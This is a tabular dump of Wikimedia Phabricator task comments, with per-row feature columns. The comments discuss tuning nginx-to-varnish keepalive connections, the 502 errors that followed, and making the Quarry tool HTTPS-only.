",,,1455120470,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,31,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 269708 had a related patch set uploaded (by BBlack):
tlsproxy: nginx keepalives param for testing

[[GERRIT_URL]]
"
594101,HTTP/1.1 keepalive for local nginx->varnish conns,"Also I believe I got the wrong meaning of the max_fails directive, that does not mean ""retry for"" but jus ""consider this backend unavailable if x requests went wrong).

Summary:
nginx's upstream module is not offering any good directives for our problem without having to buy a commercial license (max_conns and queue might be useful for example, please check http://nginx.org/en/docs/http/ngx_http_upstream_module.html#upstream for more info).

@BBlack: would it be possible to quantify the number and cause of the 502s returned by nginx doing a load test to a host like cp1008.wikimedia.org (I believe that it should be a test one) with the new nginx config? It might be something that we could resolve on the Varnish side (listen_depth, etc...) leaving nginx without any ""restriction"". I would really like to know exactly the root cause of the 502s before taking any other step, but you might already know it :)

Last but not the least, we could think about a patch for nginx to add max-conns (not sure how tricky it would be though), but it could be painful to maintain.
",,,1453366902,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,29,True,1.3333333333333333,0.3333333333333333,0.0,0.0,1.6666666666666667,6.333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,4.333333333333333,9.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,2.3333333333333335,1.3333333333333333,0.3333333333333333,1.3333333333333333,3.3333333333333335,2.3333333333333335,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,13.333333333333334,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,1.0,0.0,0.0,0.0,5.333333333333333,2.6666666666666665,4.0,1.0,2.3333333333333335,6.666666666666667,0.0,0.3333333333333333,0.0,0.0,7.333333333333333,0.3333333333333333,0.6666666666666666,0.0,5.333333333333333,9.0,1.0,0.3333333333333333,2.0,0.0,5.333333333333333,0.0,1.0,1.6666666666666667,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.9237089201877935,0.7987089201877934,"Also I believe I got the wrong meaning of the max_fails directive, that does not mean ""retry for"" but jus ""consider this backend unavailable if x requests went wrong).

Summary:
nginx's upstream module is not offering any good directives for our problem without having to buy a commercial license (max_conns and queue might be useful for example, please check URL for more info).
SCREEN_NAME: would it be possible to quantify the number and cause of the 502s returned by nginx doing a load test to a host like cp1008.wikimedia.org (I believe that it should be a test one) with the new nginx config? It might be something that we could resolve on the Varnish side (listen_depth, etc...) leaving nginx without any ""restriction"". I would really like to know exactly the root cause of the 502s before taking any other step, but you might already know it :)

Last but not the least, we could think about a patch for nginx to add max-conns (not sure how tricky it would be though), but it could be painful to maintain.
"
594083,HTTP/1.1 keepalive for local nginx->varnish conns,"@BBlack: I didn't see the ""Additionally, the following parameters are available as part of our commercial subscription:"" before the directive, in the other sections of the docs it was written after the block of text :(",,,1453363171,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,29,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,16.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.348837209302325,0.7674418604651163,"SCREEN_NAME: I didn't see the ""Additionally, the following parameters are available as part of our commercial subscription:"" before the directive, in the other sections of the docs it was written after the block of text :("
593376,HTTP/1.1 keepalive for local nginx->varnish conns,"
> The server directive has a max_conns value, but...
> 
> ""limits the maximum number of simultaneous active connections to the proxied server (1.5.9). Default value is zero, meaning there is no limit.
> When keepalive connections and multiple workers are enabled, the total number of connections to the proxied server may exceed the max_conns value.""
> 
> May exceed might be good for this use case, but it should be tested (maybe taking a look to the code?)

@elukey `max_conns` is really what we want.  I'm pretty sure the part about ""may exceed"" is just that it will use max_conns per worker thread basically, which is something we can deal with.  The problem is that `max_conns` is also commercial-only...",,,1453306340,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,0.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,9.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,17.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,8.0,11.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.6307692307692307,0.676923076923077,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME CODE is really what we want.  I'm pretty sure the part about ""may exceed"" is just that it will use max_conns per worker thread basically, which is something we can deal with.  The problem is that CODE is also commercial-only..."
593282,HTTP/1.1 keepalive for local nginx->varnish conns,"http://nginx.org/en/docs/http/ngx_http_upstream_module.html#server

A combination of max_fails (defaul to 1) and fail_timeout (default to 10 seconds) could also be a solution to avoid a straight 502 from nginx while too many connections have been opened to Varnish. This is of course a bit borderline since retrying in these situations is not always ideal.",,,1453297307,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,2.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,19.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,4.206896551724138,0.8275862068965517,"URL

A combination of max_fails (defaul to 1) and fail_timeout (default to 10 seconds) could also be a solution to avoid a straight 502 from nginx while too many connections have been opened to Varnish. This is of course a bit borderline since retrying in these situations is not always ideal."
593269,HTTP/1.1 keepalive for local nginx->varnish conns,"Adding another note:

http://nginx.org/en/docs/http/ngx_http_upstream_module.html#server

The server directive has a max_conns value, but...

""limits the maximum number of simultaneous active connections to the proxied server (1.5.9). Default value is zero, meaning there is no limit.
When keepalive connections and multiple workers are enabled, the total number of connections to the proxied server may exceed the max_conns value.""

May exceed might be good for this use case, but it should be tested (maybe taking a look to the code?)

There is also another interesting directive, http://nginx.org/en/docs/http/ngx_http_upstream_module.html#queue, but it is available only for the ""commercial"" version of nginx.

Still looking for a good solution to this problem, nothing conclusive for the moment.",,,1453295818,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,1.0,0.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,3.5,7.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,14.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,4.5,5.5,0.5,2.5,10.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.5,7.0,0.0,0.5,2.5,0.0,1.5,0.0,0.5,2.0,0.0,2.5,0.0,0.0,0.0,4.1521739130434785,0.7028985507246377,"Adding another note:

URL

The server directive has a max_conns value, but...

""limits the maximum number of simultaneous active connections to the proxied server (1.5.9). Default value is zero, meaning there is no limit.
When keepalive connections and multiple workers are enabled, the total number of connections to the proxied server may exceed the max_conns value.""

May exceed might be good for this use case, but it should be tested (maybe taking a look to the code?)

There is also another interesting directive, URL but it is available only for the ""commercial"" version of nginx.

Still looking for a good solution to this problem, nothing conclusive for the moment."
590873,HTTP/1.1 keepalive for local nginx->varnish conns,"Adding some notes after a chat with BBlack.

http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive

""It should be particularly noted that the keepalive directive does not limit the total number of connections to upstream servers that an nginx worker process can open. The connections parameter should be set to a number small enough to let upstream servers process new incoming connections as well.""

It seems that we can tune this parameter only via Nginx Plus (commercial), but there might be some other workarounds.",,,1452886051,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,2.0,0.0,0.0,2.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,7.0,12.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,2.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,2.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,9.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.438202247191011,0.7191011235955056,"Adding some notes after a chat with BBlack.

URL

""It should be particularly noted that the keepalive directive does not limit the total number of connections to upstream servers that an nginx worker process can open. The connections parameter should be set to a number small enough to let upstream servers process new incoming connections as well.""

It seems that we can tune this parameter only via Nginx Plus (commercial), but there might be some other workarounds."
527618,HTTP/1.1 keepalive for local nginx->varnish conns,"Never happened.  As it turns out, the only ""easy"" way to make this work right involves a parameter that's only supported in nginx's commercial Plus variant.  There may be other workarounds, but I haven't had time to go back and investigate yet...",,,1442329368,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,2.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,9.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7962962962962963,0.8703703703703703,"Never happened.  As it turns out, the only ""easy"" way to make this work right involves a parameter that's only supported in nginx's commercial Plus variant.  There may be other workarounds, but I haven't had time to go back and investigate yet..."
527615,HTTP/1.1 keepalive for local nginx->varnish conns,">>! In T107749#1504078, @BBlack wrote:
> patch reverted. will tune this better and re-attempt later/tomorrow.

@BBlack: Did that happen or did other stuff get into the way?",,,1442329304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,"QUOTE
QUOTE
SCREEN_NAME: Did that happen or did other stuff get into the way?"
501364,HTTP/1.1 keepalive for local nginx->varnish conns,"patch reverted, was causing an appreciable rate of 502 errors on upload.wm.o, likely due to using too many parallel sockets to varnish.  will tune this better and re-attempt later/tomorrow.",,,1438629563,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,4,True,3.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,4.2368421052631575,0.9210526315789473,"patch reverted, was causing an appreciable rate of 502 errors on upload.wm.o, likely due to using too many parallel sockets to varnish.  will tune this better and re-attempt later/tomorrow."
501117,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 228564 merged by BBlack:
tlsproxy: let nginx use keepalives to varnish

[[https://gerrit.wikimedia.org/r/228564]]",,,1438609435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 228564 merged by BBlack:
tlsproxy: let nginx use keepalives to varnish

[[GERRIT_URL]]"
501100,HTTP/1.1 keepalive for local nginx->varnish conns,"Testing on an upload cache (cp1071, 48 worker processes) yields starkly different results:

Before:
```
root@cp1071:~# netstat -an|grep '10.64.48.105:80[       ]*10.64.48.105:'|awk '{print $6}'|sort|uniq -c
     22 ESTABLISHED
     61 FIN_WAIT1
    305 FIN_WAIT2
  60906 TIME_WAIT
```

After:
```
root@cp1071:~# netstat -an|grep '10.64.48.105:80[       ]*10.64.48.105:'|awk '{print $6}'|sort|uniq -c
    693 ESTABLISHED
     39 FIN_WAIT1
     98 FIN_WAIT2
   1141 TIME_WAIT
```

I think with the longer transfer-times on the upload caches (larger average transferred object size), we were probably seeing bad effects from queueing requests on a single available connection-slot per worker before, and now with the keepalive setup they're able to parallelize properly.  The min established count here would be 192, but typical established is more like ~500-1000.",,,1438606112,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,9.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,5.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,9.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,4.33,0.79,"Testing on an upload cache (cp1071, 48 worker processes) yields starkly different results:

Before:
``CODE`CODE`CODE``

I think with the longer transfer-times on the upload caches (larger average transferred object size), we were probably seeing bad effects from queueing requests on a single available connection-slot per worker before, and now with the keepalive setup they're able to parallelize properly.  The min established count here would be 192, but typical established is more like ~500-1000."
501093,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 228564 had a related patch set uploaded (by BBlack):
tlsproxy: let nginx use keepalives to varnish

[[https://gerrit.wikimedia.org/r/228564]]
",,,1438605185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8214285714285716,0.8928571428571429,"Change 228564 had a related patch set uploaded (by BBlack):
tlsproxy: let nginx use keepalives to varnish

[[GERRIT_URL]]
"
107627,Quarry should be HTTPS-only,,Medium,50.0,1438377936,1461480995.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-7q5b7f5g33t7jget2a2v,task_description,resolved,True,c3,3,True,False,False,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
650557,Quarry should be HTTPS-only,It is now!,,,1461480989,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,It is now!
650553,Quarry should be HTTPS-only,"Change 285058 merged by Yuvipanda:
quarry: Enforce https only at nginx level

[[https://gerrit.wikimedia.org/r/285058]]",,,1461480733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9047619047619047,0.8571428571428571,"Change 285058 merged by Yuvipanda:
quarry: Enforce https only at nginx level

[[GERRIT_URL]]"
650550,Quarry should be HTTPS-only,"Change 285058 had a related patch set uploaded (by Yuvipanda):
quarry: Enforce https only at nginx level

[[https://gerrit.wikimedia.org/r/285058]]
",,,1461480657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7857142857142856,0.8928571428571429,"Change 285058 had a related patch set uploaded (by Yuvipanda):
quarry: Enforce https only at nginx level

[[GERRIT_URL]]
"
650549,Quarry should be HTTPS-only,"Change 285057 merged by Yuvipanda:
quarry: Make Quarry HTTPS only

[[https://gerrit.wikimedia.org/r/285057]]",,,1461479855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8421052631578947,0.8421052631578947,"Change 285057 merged by Yuvipanda:
quarry: Make Quarry HTTPS only

[[GERRIT_URL]]"
650548,Quarry should be HTTPS-only,"Change 285057 had a related patch set uploaded (by Yuvipanda):
quarry: Make Quarry HTTPS only

[[https://gerrit.wikimedia.org/r/285057]]
",,,1461479800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.730769230769231,0.8846153846153846,"Change 285057 had a related patch set uploaded (by Yuvipanda):
quarry: Make Quarry HTTPS only

[[GERRIT_URL]]
"
573384,Quarry should be HTTPS-only,it's behind dynamicproxy (module dynamicproxy) and that does not have an option for https-only yet. we need to add that in general in dynamicproxy for all projects using that,,,1449274926,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,22,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,23.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.171428571428572,0.8285714285714286,it's behind dynamicproxy (module dynamicproxy) and that does not have an option for https-only yet. we need to add that in general in dynamicproxy for all projects using that
